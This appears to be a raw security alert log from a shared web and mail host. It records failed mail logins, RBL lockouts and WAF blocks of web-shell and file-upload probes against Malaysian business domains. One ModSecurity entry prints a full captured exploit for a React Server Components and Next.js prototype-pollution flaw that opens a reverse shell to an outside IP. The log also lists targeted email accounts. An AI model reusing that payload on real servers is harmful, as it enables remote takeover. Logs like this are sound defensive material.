2026-01-30 09:35:37 dovecot_login authenticator failed for H=(nsg-corporate-97.172.186.122.airtel.in) [152.52.236.158]:56662: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 166.195.4.247
country_id: 6252001
description:
Jan 30 09:35:52 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 166.195.4.247 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.189.239.206
country_id: 1814991
description:
2026-01-30 09:35:55 dovecot_login authenticator failed for H=([220.189.239.206]) [220.189.239.206]:49438: 535 Incorrect authentication data (set_id=admin@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 166.195.4.247
country_id: 6252001
description:
2026-01-30 09:35:54 dovecot_login authenticator failed for H=(mobile-166-195-004-247.mycingular.net) [166.195.4.247]:34366: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 221.228.237.90
country_id: 1814991
description:
Jan 30 09:36:33 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 221.228.237.90 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.228.237.90
country_id: 1814991
description:
2026-01-30 09:36:35 dovecot_login authenticator failed for H=([221.228.237.90]) [221.228.237.90]:49014: 535 Incorrect authentication data (set_id=admin@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 198.251.61.45
country_id: 6251999
description:
2026-01-30 09:37:21 dovecot_login authenticator failed for H=([198.251.61.45]) [198.251.61.45]:43405: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.150.192.143
country_id: 2510769
description:
2026-01-30 09:37:32 H=(localhost.localdomain) [45.150.192.143]:37200 F=<info@kapkenya.org> temporarily rejected RCPT <inquiries@ktlog.com.my>: Could not complete sender verify


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.188.187.21
country_id: 337996
description:
2026-01-30 09:38:29 dovecot_login authenticator failed for H=([196.188.187.21]) [196.188.187.21]:40984: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 74.218.95.154
country_id: 6252001
description:
2026-01-30 09:38:48 dovecot_login authenticator failed for H=syn-074-218-095-154.biz.spectrum.com [74.218.95.154]:36600: 535 Incorrect authentication data (set_id=info@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-30 09:40:04 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:55465: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 84.238.92.245
country_id: 2623032
description:
Jan 30 09:40:47 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 84.238.92.245 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.238.92.245
country_id: 2623032
description:
2026-01-30 09:40:49 dovecot_login authenticator failed for H=([84.238.92.245]) [84.238.92.245]:53484: 535 Incorrect authentication data (set_id=support@dsc-expat.com)


plugin: modsec
rule: 77142199
name: IM360 WAF: jQuery-File-Upload - Arbitrary File Upload (CVE-2018-9206)
abuser: 87.121.84.30
country_id: 6252001
domain: kendek.com
description:
IM360 WAF: jQuery-File-Upload - Arbitrary File Upload (CVE-2018-9206)||RSV:7.69||T:APACHE||MVN:REQUEST_URI||MV:/public/admin/assets/plugins/jquery-file-upload/server/php/index.php?file=tf2rghf.jpg||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.197.41.9
country_id: 3703430
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/taste/13/693/1381763 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.13.252.88
country_id: 3865483
domain: cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cofreth.com.my/clientele.php HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.103.126.54
country_id: 2264397
description:
2026-01-30 09:43:54 dovecot_login authenticator failed for H=54.126.103.87.rev.vodafone.pt [87.103.126.54]:26735: 535 Incorrect authentication data (set_id=admin@ajplantations.com.my)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 135.237.126.2
country_id: 6252001
description:
2026-01-30  9:43:15 963128 [Warning] Aborted connection 963128 to db: 'unconnected' user: 'unauthenticated' host: '135.237.126.2' (This connection closed normally without authentication)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.181.5.77
country_id: 3469034
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-detail.php?id=233781 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.67.190.16
country_id: 1814991
description:
2026-01-30 09:44:25 dovecot_login authenticator failed for H=(16.190.67.125.broad.gz.sc.dynamic.163data.com.cn) [125.67.190.16]:50684: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 221.228.237.90
country_id: 1814991
description:
Jan 30 09:44:26 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 221.228.237.90 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.228.237.90
country_id: 1814991
description:
2026-01-30 09:44:28 dovecot_login authenticator failed for H=([221.228.237.90]) [221.228.237.90]:50274: 535 Incorrect authentication data (set_id=admin)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 197.185.181.227
country_id: 953987
domain: nobledec.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/nobledec.com/product.php?page_id=19 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.76.107.16
country_id: 1269750
description:
2026-01-30 09:44:37 dovecot_login authenticator failed for H=(nsg-static-16.107.76.182-airtel.com) [182.76.107.16]:57878: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.99.61.248
country_id: 1269750
description:
2026-01-30 09:44:39 dovecot_login authenticator failed for H=([14.99.61.248]) [14.99.61.248]:51504: 535 Incorrect authentication data (set_id=zainuddin@astlog.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 105.101.160.238
country_id: 2589581
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/symfony/yaml/Tests/Fixtures/numericMappingKeys.yml HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.185.146.166
country_id: 1269750
description:
2026-01-30 09:44:42 dovecot_login authenticator failed for H=([125.19.175.250]) [122.185.146.166]:38710: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.229.36
country_id: 1269750
description:
2026-01-30 09:45:41 dovecot_login authenticator failed for H=(nsg-corporate-36.229.187.122.airtel.in) [122.187.229.36]:36263: 535 Incorrect authentication data (set_id=support@stonewld.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.107.36.18
country_id: 1269750
description:
Jan 30 09:45:52 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.107.36.18 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.107.36.18
country_id: 1269750
description:
2026-01-30 09:45:54 dovecot_login authenticator failed for H=([103.107.36.18]) [103.107.36.18]:46364: 535 Incorrect authentication data (set_id=admin@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.193.147.75
country_id: 1269750
description:
2026-01-30 09:46:14 dovecot_login authenticator failed for H=([203.193.147.75]) [203.193.147.75]:45114: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.10.203.212
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=7&sub=42 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.159.16
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/ways-to-develop-a-project-on-the-net-classroom/images/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/career.php||SC:/home/sutsbcom/public_html/ways-to-develop-a-project-on-the-net-classroom||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-30 09:46:55 H=([45.144.212.242]) [45.144.212.242]:55423 F=<no_reply@admin.com> rejected RCPT <ind@indfinitydesign.com>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.90.124.40
country_id: 3042225
description:
2026-01-30 09:48:29 dovecot_login authenticator failed for H=(ADMIN) [91.90.124.40]:27469: 535 Incorrect authentication data (set_id=info@dsc-expat.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.120.116.162
country_id: 1168579
description:
Jan 30 09:49:44 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.120.116.162 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.120.116.162
country_id: 1168579
description:
2026-01-30 09:49:46 dovecot_login authenticator failed for H=([103.120.116.162]) [103.120.116.162]:43606: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-30 09:49:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:52529: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.142.113.50
country_id: 1733045
description:
[2026-01-30 09:49:07 +0800] info [webmaild] 175.142.113.50 - accounts@evergrown.com.my "GET /cpsess3501005079/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.51.35.113
country_id: 3658394
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=55291515046355 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.23.42.49
country_id: 1814991
description:
Jan 30 09:51:34 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.23.42.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.23.42.49
country_id: 1814991
description:
2026-01-30 09:51:36 dovecot_login authenticator failed for H=([111.23.42.49]) [111.23.42.49]:46932: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.8.48.178
country_id: 1605651
description:
2026-01-30 09:52:11 dovecot_login authenticator failed for H=ppp-58-8-48-178.revip2.asianet.co.th [58.8.48.178]:40277: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 79.120.66.229
country_id: 2017370
description:
2026-01-30 09:52:22 dovecot_login authenticator failed for H=([79.120.66.229]) [79.120.66.229]:42820: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 200.119.178.216
country_id: 3595528
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/maatwebsite/excel/src/Maatwebsite/Excel/Filters HTTP/1.1||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.249.36.124
country_id: 3996063
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/maatwebsite/excel/src/Maatwebsite/Excel/Filters/ HTTP/1.1||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77093094
abuser: 193.142.147.209
country_id: 2921044
domain: 42.0.28.70:80
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var n=process.mainModule.require('net'),c=process.mainModule.require('child_process'),s=c.spawn('/bin/sh',[]),cl=new n.Socket();cl.connect(12323,'193.142.147.209',()=>{cl.pipe(s.stdin);s.stdout.pipe(cl);s.stderr.pipe(cl);});\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.184.124.46
country_id: 1269750
description:
2026-01-30 09:57:24 dovecot_login authenticator failed for H=([122.184.124.46]) [122.184.124.46]:41414: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.175.199.86
country_id: 2017370
description:
2026-01-30 09:57:10 dovecot_login authenticator failed for H=(bergsound.Moscow.Access.Comstar.ru) [89.175.199.86]:50236: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.184.124.46
country_id: 1269750
description:
Jan 30 09:57:22 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.184.124.46 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 189.113.185.14
country_id: 3469034
description:
2026-01-30 09:58:03 dovecot_login authenticator failed for H=([189.113.185.14]) [189.113.185.14]:47729: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.150.192.143
country_id: 2510769
description:
2026-01-30 09:59:57 H=(localhost.localdomain) [45.150.192.143]:60100 F=<info@kapkenya.org> temporarily rejected RCPT <info@pspoly.com.my>: Could not complete sender verify


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 61.173.167.63
country_id: 1814991
description:
Jan 30 09:59:53 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 61.173.167.63 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.173.167.63
country_id: 1814991
description:
2026-01-30 09:59:55 dovecot_login authenticator failed for H=([61.173.167.63]) [61.173.167.63]:45509: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 80.227.102.242
country_id: 290557
description:
Jan 30 10:00:49 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 80.227.102.242 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.227.102.242
country_id: 290557
description:
2026-01-30 10:00:51 dovecot_login authenticator failed for H=([80.227.102.242]) [80.227.102.242]:46366: 535 Incorrect authentication data (set_id=support@manforce.net)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 103.197.57.71
country_id: 1733045
description:
2026-01-30 10:00:01 H=([127.0.0.1]) [103.197.57.71]:35332 X=TLS1.3:TLS_AES_256_GCM_SHA384:256 F=<etenancy@manforce.my> A=dovecot_plain:etenancy@manforce.my rejected RCPT <manager@example.com>: The mail server could not deliver mail to manager@example.com.  The account or domain may not exist, they may be blacklisted, or missing the proper dns entries.


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.103.126.54
country_id: 2264397
description:
2026-01-30 10:01:55 dovecot_login authenticator failed for H=54.126.103.87.rev.vodafone.pt [87.103.126.54]:38820: 535 Incorrect authentication data (set_id=info@ocned.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.187.7.14
country_id: 1835841
description:
Jan 30 10:01:35 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.187.7.14 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.187.7.14
country_id: 1835841
description:
2026-01-30 10:01:37 dovecot_login authenticator failed for H=([211.187.7.14]) [211.187.7.14]:58882: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.247.159.106
country_id: 1269750
description:
2026-01-30 10:01:51 dovecot_login authenticator failed for H=([115.247.159.106]) [115.247.159.106]:42714: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.179.93.147
country_id: 1835841
description:
2026-01-30 10:02:47 dovecot_login authenticator failed for H=([121.179.93.147]) [121.179.93.147]:43552: 535 Incorrect authentication data


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 200.71.84.38
country_id: 3469034
description:
Jan 30 10:04:07 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 200.71.84.38 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.71.84.38
country_id: 3469034
description:
2026-01-30 10:04:09 dovecot_login authenticator failed for H=([200.71.84.38]) [200.71.84.38]:52384: 535 Incorrect authentication data (set_id=zainuddin@astlog.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.179.134.120
country_id: 1269750
description:
Jan 30 10:04:12 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.179.134.120 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 158.94.211.33
country_id: 6252001
description:
2026-01-30 10:04:36 H=([158.94.211.33]) [158.94.211.33]:51303 F=<gerald.mukyenga@multilinesint.com> rejected RCPT <cklee@ktlog.com.my>: SPF: 158.94.211.33 is not allowed to send mail from multilinesint.com


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 34.93.150.62
country_id: 1269750
description:
2026-01-30 10:04:09 dovecot_plain authenticator failed for H=62.150.93.34.bc.googleusercontent.com (h572gesq20us2h0q5fz) [34.93.150.62]:1536: 535 Incorrect authentication data (set_id=takao-nakashima@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.179.134.120
country_id: 1269750
description:
2026-01-30 10:04:14 dovecot_login authenticator failed for H=(abts-mum-static-120.134.179.122.airtelbroadband.in) [122.179.134.120]:41148: 535 Incorrect authentication data (set_id=ysl@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.126.223.175
country_id: 2017370
description:
2026-01-30 10:04:41 dovecot_login authenticator failed for H=([92.126.223.175]) [92.126.223.175]:54766: 535 Incorrect authentication data (set_id=ysl)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.239
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/portfolio/img/img/img/demos/img/about.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.187.153.192
country_id: 1562822
domain: ds-staffing.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ds-staffing.com/approach.php HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.53.58.10
country_id: 1835841
description:
2026-01-30 10:06:30 dovecot_login authenticator failed for H=([211.53.58.10]) [211.53.58.10]:53998: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.111
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/hilfen-zur-wahl-eines-webhosts/images/sliders/cdn-cgi/l/cdn-cgi/l/index.php||SC:/home/sutsbcom/public_html/hilfen-zur-wahl-eines-webhosts||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.167.146.41
country_id: 1643084
description:
2026-01-30 10:06:49 dovecot_login authenticator failed for H=(ip-103-133.222-205.cloudteknologinusantara.co.id) [125.167.146.41]:59364: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 221.228.237.90
country_id: 1814991
description:
Jan 30 10:05:59 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 221.228.237.90 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.228.237.90
country_id: 1814991
description:
2026-01-30 10:06:01 dovecot_login authenticator failed for H=([221.228.237.90]) [221.228.237.90]:12240: 535 Incorrect authentication data (set_id=support@mkmetal.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.53.58.10
country_id: 1835841
description:
Jan 30 10:06:28 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.53.58.10 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.101
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/wp-content/plugins/flagallery-skins/default_int/img/img/demos/img/clientele.php||SC:/home2/pspolycom/public_html/wp-content||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.248.47.114
country_id: 6252001
description:
Jan 30 10:08:31 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.248.47.114 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 172.248.47.114
country_id: 6252001
description:
2026-01-30 10:08:33 dovecot_login authenticator failed for H=(syn-172-248-047-114.res.spectrum.com) [172.248.47.114]:39640: 535 Incorrect authentication data (set_id=amir@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-30 10:08:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:55626: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 156.146.41.85
country_id: 3175395
description:
2026-01-30 10:09:43 dovecot_login authenticator failed for H=(ADMIN) [156.146.41.85]:62378: 535 Incorrect authentication data (set_id=dsc_team@dsc-expat.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.20.236.143
country_id: 1562822
domain: chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/chs.com.my/pipe-repair.html HTTP/1.1||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 102.182.92.219
country_id: 953987
domain: pftfood.com
description:
IM360 WAF: Bad file extension||RSV:7.69||T:APACHE||MVN:REQUEST_FILENAME||MV:/home/000~ROOT~000/proc/thread-self/cwd/etc/sw-engine/pool.d/sw-engine-fpm.conf||User:root||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.239.39.203
country_id: 3996063
domain: langkawiconstructions.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/langkawiconstructions.com/slide-page/construction-work HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.107.36.18
country_id: 1269750
description:
Jan 30 10:12:55 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.107.36.18 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.107.36.18
country_id: 1269750
description:
2026-01-30 10:12:57 dovecot_login authenticator failed for H=([103.107.36.18]) [103.107.36.18]:41884: 535 Incorrect authentication data (set_id=info@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.103.126.54
country_id: 2264397
description:
2026-01-30 10:13:30 dovecot_login authenticator failed for H=54.126.103.87.rev.vodafone.pt [87.103.126.54]:8461: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 60.174.86.4
country_id: 1814991
description:
Jan 30 10:13:36 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 60.174.86.4 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.174.86.4
country_id: 1814991
description:
2026-01-30 10:13:38 dovecot_login authenticator failed for H=([60.174.86.4]) [60.174.86.4]:35380: 535 Incorrect authentication data (set_id=admin@essemgroup.net)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.136.174
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/wp-content/images/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/products.php||SC:/home/sutsbcom/public_html/wp-content/images||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.93.229.230
country_id: 1814991
description:
2026-01-30 10:16:36 dovecot_login authenticator failed for H=([218.93.229.230]) [218.93.229.230]:51220: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.189.253.198
country_id: 1814991
description:
2026-01-30 10:16:03 dovecot_login authenticator failed for H=([220.189.253.198]) [220.189.253.198]:50455: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.149.161.131
country_id: 6252001
description:
2026-01-30 10:16:43 dovecot_login authenticator failed for H=c-50-149-161-131.hsd1.tn.comcast.net [50.149.161.131]:55704: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.156.130.34
country_id: 1269750
description:
2026-01-30 10:16:54 dovecot_login authenticator failed for H=([103.140.18.186]) [49.156.130.34]:57250: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-30 10:17:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:52622: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.93.167.144
country_id: 1835841
description:
2026-01-30 10:17:52 dovecot_login authenticator failed for H=([220.93.167.144]) [220.93.167.144]:45282: 535 Incorrect authentication data (set_id=info@ajplantations.com.my)


plugin: modsec
rule: 77142199
name: IM360 WAF: jQuery-File-Upload - Arbitrary File Upload (CVE-2018-9206)
abuser: 87.121.84.115
country_id: 6252001
domain: wcc.com.my
description:
IM360 WAF: jQuery-File-Upload - Arbitrary File Upload (CVE-2018-9206)||RSV:7.69||T:APACHE||MVN:REQUEST_URI||MV:/admin/assets/jquery-file-upload/server/php/index.php?file=tf2rghf.jpg||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.103.126.54
country_id: 2264397
description:
2026-01-30 10:19:05 dovecot_plain authenticator failed for H=54.126.103.87.rev.vodafone.pt (boandiang) [87.103.126.54]:63955: 535 Incorrect authentication data (set_id=info@smartcable.com.my)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 46.151.182.186
country_id: 2750405
description:
